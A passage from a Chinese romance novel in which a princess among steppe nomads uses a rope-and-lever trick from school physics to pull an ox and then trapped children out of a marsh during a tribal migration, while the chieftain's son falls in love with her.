那些原本对沈疏禾爱答不理的牧民们,现在见了她都会热情地打招呼。草原上的姑娘们开始模仿她的发型和衣着,而那些各个风华正茂的小伙子们则争相帮她干活。
“公主,您看我这烘干架搭得对不对?”
“公主,您尝尝我刚烤的肉,用的是您教的法子!”
沈疏禾一一耐心解答,虽然有些忙碌,但似乎也很有趣。
11. 沦陷
连日的阴雨终于停了,但草原却迎来了新的危机。
沈疏禾蹲在部落边缘的土坡上,指尖捻起一撮湿泥搓了搓。泥土在她的指腹间碾开,带着反常的黏腻感,像揉碎了一团浸饱水的棉絮。远处传来牧羊人焦急的吆喝声,几只落单的羔羊正被困在泛起水光的低洼处,蹄子每一次抬起都带起一片浑浊的水花。
“这哪是草原,根本是块泡发的馒头……”她小声嘀咕着,突然听见身后传来急促的马蹄声。
呼延律勒马停在她身侧,腰间的铜质腰牌在动作间叮当作响,“收拾好你自己的东西,半个时辰后全族迁徙。”
“现在?”沈疏禾仰头看他,阳光从他背后照过来,把他轮廓镀上一层毛茸茸的金边,看上去有些可爱,她突然想道。
“南边的沼泽已经开始吞羊了。”他打断她,喉结在阴影里滚动了一下,左手无意识地摩挲着马鞭的鞭柄,“不想被困死的话就要迅速行动。”
马鞭在空中炸开一声脆响,黑骏马扬蹄而去,溅起的泥点落在她湖蓝色的裙摆上,像一串深褐色的星星,虽然有些惨不忍睹。
迁徙的队伍比想象中更加艰难。
沈疏禾深一脚浅一脚地走着,皮靴每次拔出泥潭都发出一道道“吧唧——”的声响,只是听起来都显得十分费力。她的后背早已被汗水浸透,发丝黏在颈间,痒得像有蚂蚁在到处乱爬。走在队伍最末的老人们拄着木杖,每一步都走得摇摇欲坠;女人们怀里抱着用油布包裹的婴孩,时不时回头张望被迫舍弃的家当;就连平日里最活泼的孩子们也安静下来,小手紧紧攥着母亲的衣角。
“公主,您要不要歇会儿?”杏儿递来一个水囊,脸上满是担忧。沈疏禾接过水囊,发现杏儿的嘴唇已经干裂出血。
“你先喝,我还不渴呢。”她将水囊推回去,目光扫过绵延的队伍。远处,几个年轻牧民正轮流背着腿脚不便的老人,他们的背影在烈日下显得格外坚韧。
突然,队伍前方传来一阵骚动。
“公主当心!”杏儿突然尖叫。
前方不远处,一辆载满陶罐的板车突然倾斜,陶罐相互碰撞发出清脆的哀鸣。拉车的犍牛发出凄厉的哀鸣——它的一条腿已经陷进看似结实的草皮下,浑浊的泥浆正以肉眼可见的速度漫过牛腹。
“是流沙沼!”有人大喊,人群瞬间乱作一团。几个年轻牧民冲上前去,却在靠近时被老人厉声喝止:“别过去!那一片都会塌!”
沈疏禾看见呼延律迅速飞奔过去,皮甲下摆“撕拉——”一声被灌木撕开道口子。他裸露的小腿上青筋暴起,他抓住牛角猛力后拽,可自己靴底反而开始下陷。
“别用蛮力!”沈疏禾见状也顾不得裙裾沾泥,跌跌撞撞跑到最近的车架旁。她的心跳不断加快,但脑海中却异常清明——高中物理课上,老师用粉笔画出的滑轮示意图突然浮现在眼前。
“巴图!把绳索都拿来!”
巴图本来正帮着几个孩子过泥坑,见状也是十分焦急,于是他闻言立刻飞奔过来,怀里抱着一捆粗麻绳。“公主,这些够吗?”他气喘吁吁地问,生怕自己拿的不够。
当牧民们手忙脚乱递来套马索时,沈疏禾已经用匕首削尖了木棍。刀刃划过木纹的“沙沙”声里,她听见自己急促的呼吸和远处孩童压抑的啜泣。她在众人惊愕的目光中,将绳索绕过尚未塌陷的榆树,又用木棍穿过绳结下方。
“接住了。”她喘着气把绳头抛给呼延律,绳索在空中划出一道沾着泥水的弧线,“拉这边,省力。”
呼延律染满泥浆的睫毛颤了颤,目光在她满是泥污的脸上停留了一瞬,然后毫不犹豫地照做。随着绳索绷紧,那根看似脆弱的木棍发出令人牙酸的“吱呀”声,犍牛竟真的被一点点拖出泥潭!
“再加把劲!”沈疏禾赤脚踩在树根上稳住支点,粗糙的树皮磨得她脚底生疼,但此刻这点疼痛反而让她更加清醒。脚趾缝里全是黑泥,冰凉黏腻的触感让她想起小时候和同学在雨后踩水坑的时光。
“大家一起拉!”巴图突然高喊一声,几个年轻牧民立刻加入进来。绳索在众人合力下绷得笔直,发出不堪重负的呻吟。
当最后一段牛尾脱离沼泽时,整个部落爆发出欢呼。女人们相拥而泣,老人们跪地亲吻干燥的泥土,孩子们终于敢放开母亲的衣角,好奇地凑近那个还在冒泡的泥坑。呼延律松开绳索,发现掌心被磨得血肉模糊——而那个中原公主正毫无形象地坐在泥地里,鬓发散乱,却冲他笑得比草原的太阳还亮。
呼延律站在原地没有动作,眼神直直地望向她,眼里的情绪复杂难明。
“怎么了?”沈疏禾看见呼延律的样子有些奇怪,摸了摸自己的脸,她脸上也没东西吧?
呼延律看着她的动作突然轻笑一声,然后嘴角有些认命地勾起,他想,他自认为冷硬的心,怕是要在此刻沦陷了。
夜里扎营时,部落中央燃起了几堆篝火。潮湿的木柴让火焰显得有气无力,但好歹驱散了些许寒意。沈疏禾蹲在河边冲洗脚上的泥。她透过月光下的铜镜看见自己的倒影——头发乱得像鸟窝,脸颊上还沾着已经干涸的泥渍。
难怪今天呼延律看着她的脸莫名其妙地站在原地笑,原来是因为这个啊。沈疏禾点了点头,十分坚定地肯定了自己的猜想。
她正想着呼延律,就看见水面倒映出了另一个人的身影,“呼延少主,你怎么现在来了,可是有什么事吗?”
“嗯。”呼延律递给沈疏禾一个小陶罐,沈疏禾打开就闻到扑面而来的清香,里面似乎还混合着薄荷和松木的气息。
“这是什么?香膏么?”沈疏禾歪着头问。
“药膏,你的手受伤了,帮助你恢复伤口的。”呼延律语气温柔,和往日冷硬的样子完全不同。
沈疏禾这才发现白天拉绳子时,自己虎口裂了道口子。伤口边缘泛白,像一张微微张开的嘴。她刚要自己上药,就突然被对方攥住手腕。呼延律的掌心烫得惊人,粗糙的茧子摩挲过她细腻的手腕内侧,激起一阵细微的战栗。
“今天你用的那个法子,”他忽然开口,声音比平时低哑,“是你自己自创的?”
“不是,是有人教我的。”沈疏禾如实回答。
“谁?”呼延律的眸色瞬间暗了几分。
“我老师,也就是类似于你们草原的师父。”沈疏禾耐心地解释道,“你突然问这个做什么,你也想学?”
呼延律愣了一下,然后又点了点头。
“那好说啊,以后我教你,这个啊在我们那里叫做物理,也就是科学。”沈疏禾提起物理就两眼发亮,她高
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中物理可是年级第一呢。
她还记得她高中后桌的那个男生每次考试都问她考多少分,沈疏禾严重怀疑那个男生是想偷学她的物理方法,所以每次都更加拼命去学物理,每一次都遥遥领先。虽然后来她才知道原来那个男生一直暗恋她……
“好。”呼延律看着她亮晶晶的双眼嘴角也忍不住跟着上扬。
不知道为什么,他总觉得这个时候的她才是真正的她,才是她该有的样子。
呼延律注意到她的脚踝时又突然单膝跪下来,沈疏禾有些疑惑,刚想问他在做什么就见自己的脚踝被他的手掌拽住,沈疏禾的脚踝下意识往后缩了缩,又被呼延律给拽了回来。
“别乱动。”呼延律看着她的伤口皱了皱眉,用沾着药膏的指尖抚过她脚踝处被芦苇划破的伤痕。
沈疏禾呼吸一滞,脚趾不自觉地蜷缩起来。她看见他低垂的睫毛在脸上投下的一片阴影,忍不住想用手去触碰他长长的睫毛。
“怎么了?”呼延律感受到她的动作。
“没事,就是看见你睫毛上有东西。”沈疏禾轻咳一声随意扯了个借口。
“明日你骑我的马。”他说,手指无意识地在她脚踝处多停留了一秒,“剩下的路会更险。”
就在这时,一阵急促的脚步声传来。
“少主!公主!”巴图慌慌张张地跑来,脸上沾着泥浆,“阿古拉爷爷的孙子掉进沼泽了!”
沈疏禾和呼延律同时抬头,听到远处传来的撕心裂肺的哭喊。他们又同时看向远处——在摇曳的火光映照下,营地方向,一辆载着三个孩子的板车正在下陷!最小的那个孩子半个身子已经没入泥浆,正徒劳地挥舞着藕节般的手臂。
“你在这别动,我去就可以。”呼延律担心沈疏禾受伤的地方。
“不用,我也能去。”沈疏禾踉跄着跟上,湿漉漉的裙摆缠在腿上,几乎让她绊倒。呼延律伸出手牢牢抓着她,带着她穿过惊慌的人群。
“准备绳索!”呼延律大吼一声,声音在嘈杂的营地中炸开,“所有人退后!”
沈疏禾看到那辆板车已经倾斜成可怕的角度,三个孩子紧紧抱在一起,最小的那个只剩下肩膀以上还露在外面。孩子的母亲瘫坐在泥地里,被几个妇人死死拉住,哭喊声撕心裂肺。
“来不及了!”沈疏禾挣脱呼延律的手,扑向最近的一棵树,“帮我固定绳子!”
呼延律没有犹豫,立刻跟了上去。他们配合默契,仿佛已经演练过无数次。绳索在月光下划出一道利落的弧线,精准地落在最大的孩子手中。
“抓紧!”沈疏禾大喊,同时和呼延律一起拉动绳索。
树皮在他们掌心摩擦,火辣辣的疼。但谁都没有松手。
一点一点,孩子们被拉向安全地带。最小的那个孩子终于被抱了出来,浑身泥浆,哇哇大哭。
人群爆发出欢呼,但沈疏禾却突然脚下一软——她这才发现自己已经精疲力尽。
一双有力的手臂接住了她,沈疏禾跌向了一个带着清香的怀抱。
呼延律轮廓分明的脸近在咫尺,薄唇抿成一条直线,他的呼吸喷在她脸上,带着草原特有的气息。
“你做得很好,所有族人都为你骄傲。”这是沈疏禾逐渐失去意识之前听到的最后一句话。